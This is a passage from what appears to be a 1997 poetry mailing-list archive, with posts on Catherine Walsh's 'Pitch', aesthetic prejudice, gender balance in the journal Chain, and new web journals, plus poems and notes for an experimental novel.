speaker's relationship to the message. Irony is largely a matter of tone, as its opposite, earnestness. In specifically poetic terms, intonation has frequently been advanced as free verse's answer to meter: the mechanism that moved Pound, to take only the famous instance, off the metronome and onto the musical phrase. While Walsh's texts present quite various forms to the eye--conventional stanza, calligram, prose-block, Eigner-like lyric, field composition--what they tend to present to the ear is a certain tone, or pitch, that enters into a dialectic with its transcription.

to whom was it owing who could
say who could care my day speak
English bad not true not a lot
when people speak to each other in
the real world bad not true not
a lot one to one outside be honest
are your prepared good very true
a lot to whom who could say was it
owing speak English keep a record and
interrupt for God's sake interrupt

did I write that before as or after
(from "Pitch: Part Two" 27)

Hannah Weiner, news of whose sad loss came not long after I heard Walsh read, would have sought graphic means to differentiate the "voices" here, but Walsh provides her reader with only minimal cueing. In the tightly cycling stanzas of an untitled lyric (*Pitch* 21) possessing the echoing strains of Zukofsky's signature valentines--Walsh uses the vocative interjection most associated with the poetic tradition:"o glad snow / morning of light / less wish / you were here // here to sing / holiday o / glad snow / light less / morning wish / you were here...." One hears in these lines the "circadian / rhythm" (22) that Walsh's writing moves in, mimics, and--quietly--masters.

[18-19 September 1997]

=-=-=-=-=-=-=-=-= *Pitch* was published by Pig Press in Durham in 1994. Catherine Walsh read from this and other works on 3 September 1997 as part of a celebration of Irish poetry at Brown University that also included Billy Mills, Randolph Healy, and Maurice Scully.

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536. **Maria Damon**
Re: A Note on Prejudice
Sat 27 Sep 1997

At 4:31 PM -0400 9/27/97, Steve Evans wrote:

> =-=-=-=-=-=-=-=-=-=-=-
> *Notes to Poetry 5*
>
> *How are prejudices--one might equally say tastes--built up in us during the endless apprenticeship to textuality? How does it happen that not only certain texts or authors but indeed whole stances, entire ways of proposing the scale and texture and objective of a writing practice, come to be placed under a subjective taboo: boring, aggravating, sickening; worst of all, neutral or blank. There is no element of a poem to which value, however carefully checked by description, does not cling. The way this poem looks on the page (another prose block, or some mechanically-reproduced stanza form: forty pages of tercets!), the way this one attacks the question of sound (clumsy, or heavy-handed, or lacking, or...: the objections are endless on this front), the way this one asks me to suppose the world is something dramatically other, and usually drastically worse, than what I think it is (a world of only suburban backyards or rural solitudes or ineradicable bitterness and domination). Inexhaustible ways, then, to be opinionated about the poem without yet having reached, let alone read, it. And this makes for a dilemma not only for the addicts of openness (pluralists), not only for the tough customers*

> *of program and principal (dogmatists), but for anyone who reads not as a duty or a chore (the academics) but as a risk.*

very interesting stuff steve. i find that my aesthetic sense has changed since joining POETIX. i have mixed feelings about that; i feel that i've gained some "sophistication" maybe but may have lost some ability to hear the emotional subtexts that make "cliches" interesting, endearing, powerful, meaningful-in-context, etc. some ability to listen empathetically has perhaps ceded to my search for aesthetic thrills...md

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537. Kali Tal

Re: the pink and the blue

Sat 27 Sep 1997

> *But can I just make one thing clear--excepting the first issue, Chain publishes about 50/50 in terms of the pink and the blue of it. I can't decide if it is good that people think it publishes more women or if it is just another example of how weird sexual politics are becoming.*

I apologize if I made it sound like I "knew" Chain published more women. My point was only that it didn't bother me if different journals presented different groups of poets (though I might choose to read one journal over another based on their publishing decisions) since that seemed to me one of the preconditions of publishing--that we have biases and agendas. Didn't have Chain on hand, wasn't counting, was wrong to accept the description as fact.

But, yeah, sexual politics are really weird. Whenever I'm in a group in which half of the people talking are female, the general sense of many of the male participants and at least some of the female participants seems to be that women *dominate* the group. Maybe that's what's happening with the reception of Chain.

Kali

Kali Tal new WORD order PO Box 13746, Tucson AZ 85732-3746 http://www.new-word.com [redacted] (phone & fax)
"Web Design For Smart People"

Sixties Project [redacted]
http://jefferson.village.virginia.edu/sixties http://www.kalital.com

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538. Hoa Nguyen
Re: picking up sides (name-paradox thread)
Sat 27 Sep 1997

Thank you David Bromige for your thoughtful and vulnerable response.

In this discussion-- as everywhere-- we find ourselves named various names-- a physiologist-like look at this would point to the way our brains try to categorize objects and beings in an effort to make meaning. This is helpful when it comes to, say, mushrooms-- this one is yummy sauted with garlic, this one will attack my liver if I eat it, this one will make me laugh profoundly at the word "liver", and etc. This is very tricky of course in social applications and all sorts of horrible or frustrating things can happen. It happens when we talk about poetry too. I have work published in several issues of both *Mike and Dale's Younger Poets* and *Chain*. My work in *Chain* is "distant cold and removed from emotional possiblilities" (Dale) and I am part of the gang of SWM in M/D's in spite of myself?

Categories serve to narrow and simplify when -- outside of mushroom-like instances -- things stubbornly refuse categorizing. (Which was definately bothering me the whole while I wrote towards the "What is white" thread, with Mr. Timmons and others awhile back-- that I was insisting on delimiting a category because, I think, I experience the catorizations in a very real way). So what do we do?

I am glad indeed that we can dialoge around this and that folks have been so willing to share their thoughts and feelings.

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539. Alan Jen Sondheim
Novel
Sat 27 Sep 1997

I am working on a novel about writing and the poetics of writing, about email, about lag, and the collapse of the poetic. It may never see the light of day, back of night, but it is relevant in the scattered form I catastrophize in, below. For your pleasure or scattered delete ...

Notes for a Novel:

Which I do work on: "Her nights, his days. Her days, his nights."

And that he comes to a foreign city and does not understand the language. And that the airport is brown. He's got a sheet of paper, he can't de- cipher. What is it, where is she. He shows it, there's a taxi, a sheroot, he gets in, it's already old, nervous. He goes somewhere, recognizes nothing. Characters in other scripts, cuneiforms for all he knows. Llamas cross his path.

But the city's vacant, her place is vacant. Locked or unlocked - in this novel, it won't make a difference. He goes in, the door opens. There's nothing, no clues. It's clean, no dust, breakins. He doesn't know. This is a man, Travis maybe, who doesn't know a thing.

He can't find her friends because everyone shrugs. He meets people who speak his language, easy now. They know her. They haven't 'seen her around.' She's the kind of person one sees around. She's private. But there are no rumors, nothing. She works in medicine.

Well, she hasn't been at the clinic. Nothing is missing. You can see where this is going, of course. Doors close behind him, before he reaches the knob. The keys are like Berlin keys, they go through the hole, out the other side. That's impor- tant, there are windows through rooms and no one is ever looking.

Now something has to happen for the novel to be a novel, what then? Per- haps a clue, but there are always clues, even clues in the beginning of things, the glance of a dark-haired woman at the airport, a slip of cel- lophane on the floor of her flat. Clues are things that gather meaning, reverse time, reconstitute events. But things are cluttered here; the sook is filled with blood where the an- imals are slaughtered, nomads come in from the countryside, shrines are staffed by garage gong bands. The Genkai Park inexplicably closes down; there are guards, something's hap- pened.

No clues then, but this happening. What could be on the run. Later, two people are captured, he doesn't understand. There's a celebration in the city involving a wheeled boat which capsizes against chains of humans carrying placards of waves. People are really injured and the clinic's on hand.

He finds food, stays in her place. He's ill-at-ease, a woman comes wear- ing a veil and he pays the rent, holding up the currency of his country. He's surprised how little everything costs. He should feel as if he were now a part of her life, the woman who was going to meet him, but he does- n't. He might wear a bracelet or necklace one day. He wears her jumpers, goes out aimlessly. He thinks, it's all come to a halt here.

He finds himself listening to himself finding himself, but he's not lost. Just that there is this constant wonder at the world. He's more in love with her than ever before. One day, he goes to a screening of silent films, Melies. Women are dis- appearing all over the place. He'll make a film about a magician, a woman who

brings men back to life. The woman trance-trains, has visions. Then she sets up mechanisms, everyone knows all of this and she's quite successful. She dies. Her extras are out of work, lifeless. They form a secret circle. They keep her corpse, have visions, try to raise the dead. They have visions, but they don't trance- train, in fact they do nothing at all. She comes back to life.

There's a knock at the door of the flat. He's been there for months, un- recognizable. His nights, her days. His days, her nights. Whammo-kazowie, she's at the door. It would be presumption to ask. She talks about vis- ions, what she knows. Beneath the flat, there are missile silos. Next door, enigma code writers are hard at work. Across the way, the buildings are part of the largest ship ever constructed, you can see the alley- gangway down to the sea. The ship begins to move, everything shakes for a minute. The ship stops again, earthquake he says, no she replies.

She's learned everything, signs and symbols. She can't read the cuneiform either, but insists it isn't important. What comes between the letters, she confides, that's it more or less. What comes between the letters, he realizes, is his own alphabet. Everything shudders, they take the Shin- kansen back to the sheroot stand near the roman ruins. The drivers are different and perhaps she departs.

But the novel won't go this way. It will be populated with expatriates, colorful characters named Abdul, Charisma, and Jennifer. They'll drink a lot and expostulate. There will be all sorts of other horizons strat- egically across going-native. Sarongs and turbans, veils for the women, who would and wouldn't. There are fires on the other side of the city - they never come nearer. Guerillas, one opines. They listen to the short- wave, marry local, leave one by one. They fan out across the city.

No, they don't, nothing like that happens. There are clues to the woman's disappearance. The airport appears to be a mechanism of some sort, the runways laid out in shamanic configuration, easy hiragana squared off for the takeoff and approach. The stewards knew he was arriving. The pilots watch him, uneasily, warily, he can't help noticing. Whatever is afoot takes him by surprise. Nausea, fear.

And then, the rest of the novel. Things happen, everything's written in a wonderful realism carrying the reader to and fro among strange and mar- velous events. The reader's excited, always thinking about what will happen next. The characters are strongly drawn. The plot thickens and thins. Local color! Naturalism! An ending no one will ever forget!

Fragmeant

Travis wrote to her. The time and return was .465 seconds on average, not bad when Fukuoka had been considered the center of the world in the four- teenth century, his own hometown unknown, fallow, untended. He was aware of the gaping maw of the sun, violent lunacy of the swinging moon which rarely showed its face - from its night, the radiance of her day showed forth. Mes- meric, he adapted himself to her schedule, his sun-up suppers with his friends were the occasion of back-channel conversations about sanity and the diameter of the earth. He joked he was the only one aware of circumference, of what a sphere was and meant - that he was the only one earth-bound, everyone else walking with stitched eyes and habits formed from childhood. He knew the sphere of stars and its awkwardness, how it shuddered above and below the equator, the rings of luminescent star-clouds and their satellites, give and take of unknown constellations.

But it was his doubling that fascinated him, breakfast as dusk rose, not dawn, sleeping at odd hours reflecting gaps and silences, and his Monday night class that began oddly enough on Tuesday morning at seven - he re- mained sur- prised that the students were alert, keen on the speed of the Net, which should have been accountably slow and clumsy.

His clocks gained a minute, lost a minute. He tried to meet himself half- way, like a friend. His nights were bright with untoward clarity, unthun- dered days, dark, uncanny, silent. Someone fixed the stars, he thought, they were never when they were supposed to be.

She wrote him about the llamas.

Llamas

The llama glistened, black carapace covered within insistent tortoise plates gleaming in the brown air of noon. It didn't move. Sirens in the distance con- stantly changing, warding off violent cars close to veering out of control. The head turned. Smoke from the nostrils, soot-nose beneath glowering eyes, body tensed with radiant energy. Shimmered waves of heat rose from the back, the breath, the brow.

She noted this in her brown notebook, ruled with blue lines. She wrote him about the llamas near the Shikuneem, vicinity of Kasuga-Shi. They were llamas, Luria, she was a tracker with a blue felt hat, sorobon and note- book, penning ebb and flow, turbulent streams of animals burrowing into the world. They were moving in from the arroyos south-west of the city, the burning-plains traveled only by the Shinkansen. It was said that bones sparkled as the trains rushed by, straight unbuckled rails held up to the sanded grounds too hot for human touch.

Travis remembered her uneasy witnessing, now the thing before him, as if produced by the cuneiform inscriptions everywhere in his vicinity. It was a one world, transitive, her llama text taking root, hair, and bone; she was nowhere to be found. Had she left him these animals, created by pure description? Was her disappearance contained in the eye of the beast, the vestiges of retinal memory destroyed by the fire next time? For a second he felt the creature recognized him, but that second passed, replaced by the uncertain knowledge that he was losing her trail as the purely exotic began its uneasy hold.

Did she watch from the grey-pink building tiled against the sky? Did she lay harbor-dead, trolled by fish and crustacean, memory lost and tangled in kelp, seed-pods of aquatic plants adapting to stratified pollutions dragged from shore to sea-bottom and back again?

Travis found his language tangled as well, the product of uncertainty, loneliness, and an ignorance so pure he had no name for it.

Parting the Thirty-Fourth

Clara reached over for her box of cigarettes; if Avi didn't leave soon, all hell would break loose. He'd already fallen off the futon three times in the night, what would you expect from a gaijin who faded in and out of the desert weekly.

The Desert Weekly, lead story: Gaijin loses grip on wadi edge, plunges two meters to gravel pitstop, slight remains of moisture lapped by desert frogs. Pictures, page 2.

When he left, she turned on the radio, cd player, computer, called the airport, Fukuoka International. The name for city was 'ir,' Fukuoka-Ir carved in cuneiform on the corner lintels everywhere. They never let you forget. Flight 75, San Francisco, Oregon, Nepal, Catalina Island, Oman, Fukuoka-Ir in that order. It was on time and she imagined the plane poised perfectly in a planetary ring, waiting for the moment to descend. She dressed, left the bet-ie, headed down the street.

The llamas were waiting as she stepped into the troika. She headed out on Number One Highway, south, left on Shogun. She hadn't worn her hat, see, for quite some time now. They stopped by the marshes, approximately five kilometers from the terminal. She watched the plane make perfect descent, dialed Robert immediately, continued on her way.

When Robert answered the phone, Jane was in the other room. They spoke in whispers, aha. She told him all about the recent demographics, head- counts. Later he'd say she was nervous, preoccupied. He was a specialist in

cartoucherie, useful where the only secure mode of communication was still clay-based. Lady Sarashina had written

Were it not for river rock and pine
This clay would not have impressed
My name, my love, your _hon_

or book, mnemonics of his mind, to whom she had written, borrowing from Chinese Ch'in-fu, the impress of the reed pen, striations of thought as the seven strings, seventeen vibratos, sounded, then faded into ma. Clay into thought, material into the silence of the word, all this heaven.

Clara was circumscribed by Robert's interest in her demographics, by the movements of llamas across the burning plains, by the distance of the troika (found by the side of the road) from the airport. Her disappearance dissolved into the gaze of Travis, waiting for her, waiting and waiting - a gaze transformed into a glance, then the look-see of astonishment as he began to understand she might never meet him again. Would he remember her voice, enumerating herds, packs, gaggles, schools, flocks, enervated groupings of the awkward black mammals, their armor-plating clacking in the heat of the day?

Every one of these people were breathing, in and out.

Clara turned over lazily, suddenly realizing what had happened. She woke with a start in utter darkness. The worst had happened. "Travis," she said, uncertainly, "Travis."

'Yes,' he replied, as a hand slid along her arm, her face, her hair. "I'm here, darling, I'm here."

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540. Rebecca Weldon
Thank you, Kali
Sat 27 Sep 1997

I have been living on a bank of the Mekong River for 35 years and I would like to thank you, Kali, for your editorial perspective and commitment.

I am new to the internet and its attendant communities; I had not seen the websites indicated in your recent communication. I read the poetry samplings in the White Noise series in tears. I spent 11 years of my childhood in Laos during the war and have spent much of my time writing to process what I experienced there and after as a result of it. I had not thought that it mattered to much of anyone except those of us who struggle with it out here.

Rain

rain's nimbus, moribund sky
monsoon morning dims the day

flooding fields, fragile seedlings
set within a pale reflection

wounded waters flowing blood
bathe the streambed still

heart's constriction
memory's mark of war

silent came the rain
revengeful came the rain

flat and grey and mourning
we were the nimbus of rain

our hearts were flooded with tears
bathed in pools of blood

there was plenty of death
left for the rest of us

planting our fields
preparing our meals lonely

touching our children
to keep them near

our eyes and mouths were full with rain
a dull reflection in the growing fields

for what harvest did we live
through raintime to the dry

↑ Index

541. Rachel Levitsky
From the deplorable tradition
Sun 28 Sep 1997

---

one

looks up a word
because
the nice way it sounds
smiles on the definition
over its likeness of sound
all the while

thinking
all the time
thoughts are quite random
thinks of coffee
running or
writing
evaluates.

they are not all the same

listening to jazz
doesn’t prefer jazz called cool or
easy listening.
She is having a hard time listening
does not turn it off
thinking how difficult it is to not just lie in bed
or to a lover
thinking it doesn’t matter
they are the same
wants to tell someone they are the same
but cannot find words
tries to put they in a poem
the range of them.
Out loud where there is no one
except the cats says
“it is not one thing”
it’s not for the cats
they look for food
other forms of entertainment.
It is not one thing,
silently this time.

two

speak on the phone
one begins to say
but stops
pushed by the other
only slightly
continues
wonders
would it be different
if they did it again
the other, waiting for these words

smiles upon
hearing them
says yes it would
begins to speak of herself
she and the other both like to speak of themselves, to each other

three

days after the phone call
remembers
the word
it describes her
soft sounds
unpleasant
its definition
soft sounds
equally unpleasant
the cats meow
one doesn’t
one cat makes sounds
soft that are very unpleasant

↑ Index

542. Eric Gleason
Re: The Name & the Paradox of its Contents- thank you
Sun 28 Sep 1997

---

this is just a quick thanks to some of you recent posters (poster children).

i've been pretty busy lately with things that keep me far away from my own computer, the few posts from this list i read anymore tend to be of a nature that turns me off, lots of bickering and some name-calling and bad vibes all around. made me want to pull the plug.

but before running off i decided to go through some of the recent backlog of messages and found a few posts this weekend that were genuinely sweet.

so thanks to kali and juliana and david (bromige if there's other davids to be confused with) and joe and the rest of you who've been playing well with others lately.

xoxoxoxoxox,
eryque

just downloaded and installed the latest version of eudora. it's got some neato features, but the one i really want is a filter that adds an icon of a mud pie in a slingshot to those messages in my box i don't want to read.

↑ Index

543. Eryque Gleason
Re: The Name & the Paradox of its Contents
Sun 28 Sep 1997

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this is just a quick thanks to some of you recent posters (poster children).

i've been pretty busy lately with things that keep me far away from my own computer, the few posts from this list i read anymore tend to be of a nature that turns me off, lots of bickering and some name-calling and bad vibes all around. made me want to pull the plug.

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so thanks to kali and juliana and david (bromige if there's other davids to be confused with) and joe and the rest of you who've been playing well with others lately.

as others have said, i'm glad for the positive spin this thread seems to have put back into the list, and i'm learning a lot.

xoxoxoxoxox,
eryque

just downloaded and installed the latest version of eudora. it's got some neato features, but the one i really want is a filter that adds an icon of a mud pie in a slingshot to those messages in my box i don't want to read.

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544. L.MacMahon and T.R.Healy
Re: A Note on Prejudice
Sun 28 Sep 1997

Steve,

read your note with interest. Catherine's reading at Brown was, even for her, unusually luminous. I was really quite surprised at the range of speech acts it embodied and the hi-res detail she communicated so naturally and easily.

Mirroring perhaps your or one of your experiences of _Pitch_, on my first reading I felt it was an animated cognitive map which, yes, sounds exciting, but, on its own, can also be thin enough fare. I've heard her read from this book quite

a few times at this stage, never the same twice. Maurice Scully mentioned once in conversation that he felt that syntax was a pivot for her, which she used to underpin multiple readings. Her fragmented phrasing, on the Brown reading, did however seem to depend on a very acute ear for what happens in speech as opposed to writing.

Yes, two important strands in understanding her work, the psychic flow and talking in the wild. As you say, one is left relatively cueless, which I think is a formal necessity insofar as her verse is capable of withstanding many different and highly articulate readings. Billy Mills, in a paper in which he writes of Catherine's work among that of others, mentions landscape and history as two other threads. I get a feeling that landscape for Catherine is at least four never mind two dimensional. That somehow, history leaves a spatial trace. Sounds like nonsense, but when actually reading the stuff, that's how it feels.

It seems too, like one of those optical illusion things, is it a vase? is it a face?, that whichever of the possible multiple readings strikes one at a particular time is utterly compelling. Now that _is_ something.

Thanks for reminding me of her magnificent reading.

Best wishes,

Randolph Healy.

↑ Index

545. **rob wilson**
From "MeliMelo" to "Taxi!"
Sun 28 Sep 1997

As for the space, editing and funding of journals, it is always a semi-slimy but wondrous work and one gets as much flack as praise for such collaborations. I for one would want to applaud and give thanks for the work of Juliana Spahr et al in CHAIN whose vision is capacious yet exacting, whose work is devoted to opening herself/the US poetry scene to "the outside" in some full international and material-language sense. The range of her editing speaks for itself, and no attempt to discredit her or the work she does editing and writing will work, as she will rise from the grave of such lack of perception. TINFISH is another such journals, capacious yet exacting in opening and linking the inner Pacific to a global/local range of experimental (and social-cultural poetics). Susan Schultz has devoted much time, love and energy to this, and we are grateful at home and afar. I wanted to tell this list about another editor and journal you may not know of: the Japanese/US writer from Kyotot and now in Seattle, Kei-jiro Suga. He was one of the key voices in the journal of mixed and mongrel ethnographic poetics called "Melimelo" which came out of Kyoto and gave an

alternative voice to the mixes of Japan and Japan and Chicano-rich America. Jim Clifford have me a copy of that journal, and it changed around my own view of place/poetics as more a matter of routes and flows than just roots and entrenchments. Now Keijiro Suga has opened up a spendidly designed and colorfully edited journal on the web. It is called "Taxi!" and the four or five issues done so far help to flesh out his vision of poetics as something always "on the road" and in a state of travel to some edge of mixture. His taxi is quite singular and exacting. "Taxi!" can be found at this address: http://www2c.meshnet.or.jp/~taxi/ I would urge Charles Bernstein and Loss Pequeno to check it out as a candidate for the EPC journals page. And on this Sunday, always written under the sign of our Lady of Guadalupe, let us give praise to journals like Chain and Central Park and Taxi! and let the Hudson Review and Poetry drone on in their market blindness as our lady, say, ever intended it would be, gnostically yours in the US market. Rob Wilson in Santa Cruz

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546. Joe Amato/Kass Fleisher

Re: picking up sides (name-paradox thread)

Sun 28 Sep 1997

---

thinking on this question of what used to be called "discriminating" readers (steve's suggestive post), in light of hoa's observations re her status as part of (say) somehow contrary publishing outlets...

i don't want to suggest a direct analogy here, in what i'm going to say... or even an analogy... but i do want to take this opportunity to raise an issue re gender, one that i live daily with as a result of where i teach...

i'm on a tech campus, where it's 80% men... and i teach predominantly engineers, a profession that is (at best) currently running about 85% men...

so i'm faced in my classes with a small percentage of women who aspire to belong (and i'll construct it this way to advance the problem as quickly as i can) to a predominantly male-occupied profession...

now i don't have to say (but i will!) that i view this as a Good Thing---these women who aspire to becoming engineers... that i (and i assume we) would all like to see a more representative quotient of women (for one) in a profession that has such an incredible impact on our daily lives [he sez]...

and yet, and yet (as i just posted a listmember backchannel the other day): i would like the profession to be less male, but i would also like women to question their desires, chart a path that has less to do with mimicking male behavior per se than with being passionate and critical as to technology, and explore their potential in *altering* the profession for the better, which might perhaps

entail working against certain behaviorally male realities (of course i ask much the same of men!)... i would challenge, that is, the women as to their possible, male-identified behavior (b/c i regard male as the dominant group)... i would challenge the women who persist in sitting with the men in class, who shy away from the few other women in attendance... the women who just want to be "one of the guyz," who tell me they "don't really like women"... the same women who on occasion dress in extremely provocative feminine garb---though i must be certain not to over-generalize here, and though i must observe that the implicit fashion binary here is a sort of catch-22...

now to bring this on over to publishing: clearly, hoa, you are not to be condemned or some such for having had writing 'picked up' by a primarily "male journal" (and neither is dale to be condemned for publishing/editing same, though i trust i've made it clear that i'd like to see a bit more reflexiveness on dale's part in this regard)... but i have noticed, at the same time, that in my own aspirations to be published by thus & so, i've been (perhaps rightfully) challenged by friends and poets as to the basis of my own aspirations, on the basis of the sort of publishing reality such & such effects...

i would certainly begin to doubt mself were i to find my work published, say, in a neo-nazi newsletter... perhaps some of you will object to my self-doubt here, but so it goes... i don't want to see my website linked to such a website, either...

so my question for the list is---and again trying like hell to steer clear of the analogy i seem to have supplied, sorry (i'm confident re my teaching situation, and even engineering, but i'm never so confident re my publishing aspirations)---how do you each value "discriminating" these days on the basis, for example, of gender?... in fact, how do you each value your aspirations?... i hope this is not beside the point, though i know some of you will want to keep the writing process as such distinct from such considerations... very well then, ex post facto, if you must...

and as to questions of emotional attachment/disengagement/affect: i'd simply like to observe that this would seem to reflect the age-old anxiety about knowledge... about how "knowing too much" is alleged to 'spoil' certain formerly innocently (?--edenic, i know) conceived appreciations of art etc... this is encapsulated in the anti-theoretical stance of many 'creative writers' i've met... and henry in particular (!)---i'm using "anti-theoretical" to mean "anti-reflexive"---theorizing in its broadest terms, not "anti-academic-theoretical"...

to which i might offer my own sense of things: that for me, there is no question, all said and done, of trying to permit my emotions the freeplay requisite to creating... and that writing has become for me a process of intellection (and in this sense critical, and urgent) even as it must of necessity be an enactment and embodiment of feeling... i mean to say, that this is what i think i'm doing when i'm

creating---thinking and feeling... and what i think i'm doing is at least relevant to the extent that this is how i come to my own work... now what others may make of the results is another matter, for others are, though present, an imagined presence when i'm in the process...

best,

joe

↑ Index

547. **Juliana Spahr**
the pink and the blue
Sun 28 Sep 1997

I got an error message. I apologize if this arrives 2x.

I read this list blind (in digest form but I'm also in a time zone that gets the digest
at 6 pm so I tend to read everything at least a day maybe two behind). So I worry I'm
out of step.

Yesterday's discussion was strange. And I feel yucky.

But can I just make one thing clear--excepting the first issue, Chain publishes about
50/50 in terms of the pink and the blue of it. I can't decide if it is good that people
think it publishes more women or if it is just another example of how weird sexual
politics are becoming.

Dale's aesthetic complaints I understand. I hear them all the time here in nature poetry central. I'm cool by them (even if they feel a little hostile; have I grown too sensitive here in the land of aloha?). Everything isn't for everyone and it is a better world for it.

But I don't understand the confrontation of the law of the father. Whose father? And how don't we here at the chain/Stein power nexus like him? Is there some specific moment that you are talking about Dale? I hope I've stayed away from this rhetoric. I really like mine who just turned 82 and is still playing golf daily.

Dale is right--Chain is too long.

I wish Chain was dangerous. I worry more about irrelevant.

Legless,

Juliana

↑ Index

548. **p. durgin**
Re: A Note on Prejudice
Sun 28 Sep 1997

Maria, I hear you, but I still hold to the notion that the one sure-fire way to asess the effectiveness of any aesthetic is to asess its power to let you empathize. All literature teaches this, in one way or another, or am I just an old softy? Patrick F. Durgin I[I]I [redacted] I[I]I

On Sat, 27 Sep 1997, Maria Damon wrote:

i find that my aesthetic sense has changed
> since joining POETIX. i have mixed feelings about that; i feel that i've
> gained some "sophistication" maybe but may have lost some ability to hear
> the emotional subtexts that make "cliches" interesting, endearing,
> powerful, meaningful-in-context, etc. some ability to listen
> empathetically has perhaps ceded to my search for aesthetic thrills...md
>

↑ Index

549. **Maria Damon**
Re: From "MeliMelo" to "Taxi!"
Sun 28 Sep 1997

---

thanks rob. suga was going to come to our conference but alas had to drop out. maybe he'll come to the twin towns on another occasion. sorry to have missed the chance to meet him.

At 2:37 AM -1000 9/28/97, rob wilson wrote:
>As for the space, editing and funding of journals, it is always a
>semi-slimy but wondrous work and one gets as much flack as praise for such
>collaborations. I for one would want to applaud and give thanks for the
>work of Juliana Spahr et al in CHAIN whose vision is capacious yet
>exacting, whose work is devoted to opening herself/the US poetry scene to
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>editor and journal you may not know of: the Japanese/US writer from
>Kyotot and now in Seattle, Keijiro Suga. He was one of the key voices in
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>I would urge Charles Bernstein and Loss Pequeno to check it out as a
>candidate for the EPC journals page.
>And on this Sunday, always written under the sign of our Lady of
>Guadalupe, let us give praise to journals like Chain and Central Park and
>Taxi! and let the Hudson Review and Poetry drone on in their market
>blindness as our lady, say, ever intended it would be,
>gnostically yours in the US market.
>Rob Wilson
>in Santa Cruz

↑ Index

550. **Maria Damon**

Re: A Note on Prejudice

Sun 28 Sep 1997

---

yes and no: i find that empathy, for me, isn't a "natural." i have to learn the language of exchange before i'm aware of the content; not just the content or language in terms of intellection or syntax, but the conventions of communicative exchange for *that* text, or recitation, or cultural event. renato rosaldo has a wonderful essay (can't remember the name of it or where it appeared) where he talked about learning to listen during his fieldwork. he said the Ilongot people he was living with would tell stories that comprised simply a recitation of place names; he felt incredibly bored and frustrated, while they were weeping. then he learned the stories behind the placenames; they were the places where, in fleeing from the japanese during WWII, various members of the tribe had lost individual family members, or had encountered other significant events associated with that period of their collective memory. then he was able to understand how to empathize. i remember reading this as a grad student and

realizing that i had no idea how to listen with that degree of openness; i was so eager to jump in with an analysis, a critique or an evaluative judgment that i often missed the context or subtext entirely. so, to paraphrase george lipsitz, i need to constantly learn to listen as well as listen to learn. i find also (and this is a truism, but not to be overlooked) that my ability to empathize is a delicate one, often dependent on my health, degree of serenity, amount of sleep i've gotten, etc. it doesn't come from the power of "the work itself."

At 1:16 PM -0500 9/28/97, p. durgin wrote:
> Maria, I hear you, but I still hold to the notion that the one
>sure-fire way to asess the effectiveness of any aesthetic is to asess its
>power to let you empathize. All literature teaches this, in one way or
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>> powerful, meaningful-in-context, etc. some ability to listen
>> empathetically has perhaps ceded to my search for aesthetic thrills...md
>>

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551. **Sylvester Pollet**

Re: The Name & the Paradox of its Contents

Sun 28 Sep 1997

Hey, Kali, welcome back! It's OK to say love, I think, but then I'm no authority. I do know that I have to at least like the stuff I publish simply because I can't afford to publish everything. Too much time & money goes into it, and it's my time & money! Agreed also that the causes of like/love aren't always so simple to predict. I know I sometimes publish something because it irritates me, or because it is so far from something I could conceive of having written myself. All sorts of reasons. Pheromonal aesthetics--there's one to contemplate. best, Sylvester

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552. **Tim Wood**
Herro!
Sun 28 Sep 1997

How is life in the eastern edges of existence <grin>. Actually, I'm pretty fed up with Texas myself, but it's harder for me to bail. I'm probably bailing on the Word. I've got one guy to meet with Tuesday night to see if he's interested in taking on the pub, but that probably won't fly. Gwen said the stuff wouldn't install on your box, but if you could mail the stuff back to me (I knew I should've made a copy), I'll install it on my K6 box & hack up a review. Cool box. AMD 200 MMX, 24x CD, Soundblaster 64, 33.6 modem(fast enuf...), blah blah. I even got --in spite of the lack of SCSI-- Red Hat to install. Just need to high speed scsi stuff, the 17 inch monitor & the CD burner & I'll be go. Maybe a hot rod video card later. Ought to hold off that dual/quad processor urge till BeOS Intel & NT 5.0 hit...

BTW, I picked up a book recently that's bizarre/intriguing/something: The Bible Code. The author has written for the NY Times & the Wall Street Journal. Anyway, the book documents the work of a mathematician in Israel who found a skip sequence code in the first five books of the Bible (the Pentateuch -sp- I believe). The statistics were published in a journal on statistics. Thoughts? Curiousity? Yawns?

take care,
Tim

↑ Index

553. **dbkk**
Re: The Name & the Paradox of its Contents
Sun 28 Sep 1997

At 5:27 PM -0400 9/28/97, Sylvester Pollet wrote:
>I do know that I have to at least like the stuff I publish
>simply because I can't afford to publish everything. Too much time & money
>goes into it, and it's my time & money!

This comment reminds of a couple of other comments on this list regarding funding and the imperative to strive for some kind of racial/sexual diversity (I hate the word gender). More than one guy on this list has said something like, "Hey, Mr. X doesn't get grant money so he can publish whomever he likes." Obviously any publisher can and does publish whomever s/he likes. There seems

to be some underlying implication that without grant money and its general insistance upon diversity that one has no moral imperative to be open to a broader range of possibilities. Dale says he only has 90 pages so he can't diversity, yet he criticizes Chain, which does diversify, for being too long. ?????????

I also find offensive here that people have been bragging about the people of color whom they know and/or have published--I mean how condescending can you get. I think Hoa is much too nice to this list in her posts. Nobody wants to be turned into a pet.

I'm much moved by Maria's last post, the honesty of it, concerning her struggles to learn to be open/empathetic.

Dodie

↑ Index

554. **Tim Wood**
Re: Devotion to the arts
Sun 28 Sep 1997

Joe Lemis forgot to mention that --assuming two pubs by the same name don't travesty the face of the Earth-- that "News of the Weird" is published by Joe Bob Briggs, self-described 'drive in movie critic of Grapevine, Texas'. Nothing like some harmless New Orleans weirdness to make a Texan feel better. <wink>
I think it's more interesting to note the demand for iambic pentameter. I think that an interpretation of poetry that narrow --and some would say dated-- says more about the state of poets and their community than it says about the perceived public ignorance. I've heard any number of variants of the 'death of poetry' argument and I'm still not convinced that we can say more on that point than that poetry is not the integral part of American public discourse that it is in other countries. I'm constantly amazed by the amount of interest by Joe Public in poetry. I'm not amazed at how quickly poets seem to kill that interest through grand standing, lack of emotional investment in their work, lack of interest in the the work of others (past & present) and lack of involvement in the poetry community. Perhaps we need letter bombs demanding sound poetry...

Tim Wood

> From: joel lewis <[redacted]>
> To: [redacted]
> Subject: Devotion to the arts
> Date: Tuesday, September 02, 1997 11:18 PM
>
> FROM: NEWS OF THE WIERD

>
> * Brothers Geoffrey and Aaron Kuffner were arrested in New
> Orleans in June and charged with terrorism as the ones who had
> recently mailed or hand-delivered suspicious packages to local
> government and news media offices. The packages contained
> innocuous items (which nonetheless were frightening enough that
> two offices called for evacuations) and a four-page manifesto
> vowing that "Violent Acts of Consciousness Have Only Begun."
> According to police, the men's goal was to call attention to public
> ignorance of poetry and that among their demands was that all state
> inaugural speeches be written in iambic pentameter.
>
> joel lewis

↑ Index

555. **Tim Wood**
Please ignore Herro!
